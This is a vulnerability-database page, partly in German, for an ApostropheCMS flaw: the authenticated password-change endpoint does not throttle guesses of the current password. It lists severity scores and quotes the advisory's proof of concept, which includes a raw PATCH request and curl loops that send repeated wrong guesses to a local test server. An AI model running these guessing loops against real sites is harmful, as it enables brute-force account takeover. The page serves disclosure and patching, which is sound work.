CVE-2026-113710

mediumPriorität · verfolgen · 0EPSS 0.003 · 26. PerzentilUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.33% (26th) EPSS
CVSS 5.9 · medium
Is it mine?
1 products
Prüfe deine Angriffsfläche
Who says so?
1 sources
osv

EPSS · bewertet 2026-10-28

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

5.9
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.15.9mediumCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 0.7 · Auswirkung 5.2
v3.15.9mediumCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:Nsecondary · OSV
v3.15.4mediumCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: none · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (1)

Betroffene Produkte und Versionsbereiche.

05

Advisories (1)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-653j-g8j7-gh54ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing2026-10-20ghsa · osvUS

    **Summary** The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. **Exact source path** packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664 **The password-change route is:** PATCH /api/v1/@apostrophecms/settings/password **The route calls the password verifier directly through:** await self.handleProtectedSubform(req, subform, req.body ); **The password verification path is:** packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542 **async handlePasswordProtectedSubform(req, subform, payload) { try { await self.apos.user.verifyPassword(req.user, payload.passwordCurrent); } catch (e) { throw self.apos.error( 'forbidden', 'apostrophe:passwordCurrentError', { path: 'passwordCurrent' } ); } return subform; }** **The verifier itself does not increment the login-attempt cache or enforce a delay:** packages/apostrophe/modules/@apostrophecms/user/index.js:412-487 **By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:** packages/apostrophe/modules/@apostrophecms/login/index.js:831-929 **Local PoC** The test used a disposable authenticated guest session against: Request: ``` PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1 Host: 127.0.0.1:3000 Cookie: <redacted-authenticated-session> Content-Type: application/json { "password": "new-temporary-password", "passwordRepeat": "new-temporary-password", "passwordCurrent": "definitely-wrong-current-password" } ``` **Equivalent command:** ``` for i in 1 2 3 4 5; do time curl -i -sS \ -b /path/to/temporary-session-cookie-jar.txt \ -X PATCH \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \ -H 'Content-Type: application/json' \ --data-raw '{ "password": "new-temporary-password", "passwordRepeat": "new-temporary-password", "passwordCurrent": "definitely-wrong-current-password" }' done ``` **Observed response** All five attempts returned the same immediate validation response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { "name": "forbidden", "data": { "path": "passwordCurrent" }, "message": "apostrophe:passwordCurrentError" } Observed timings were approximately: Attempt 1: 231 ms Attempt 2: 232 ms Attempt 3: 226 ms Attempt 4: 229 ms Attempt 5: 226 ms No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status. seq 1 20 | xargs -P 20 -I{} sh -c \ "curl --max-time 15 -sS \ -o /tmp/password-attempt-{}.body \ -w '%{http_code}\\n' \ -b /path/to/temporary-session-cookie-jar.txt \ -X PATCH \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \ -H 'Content-Type: application/json' \ --data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'" Result: 20 requests -> HTTP 403 Forbidden 0 requests -> HTTP 429 Too Many Requests 0 requests -> lockout response The valid password continued to authenticate afterward: POST /api/v1/@apostrophecms/login/login HTTP/1.1 HTTP/1.1 200 OK Impact An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism. If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously. Severity Medium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.

06

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-10-20geändert 2026-10-21
07

Referenzen (4) nvd

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan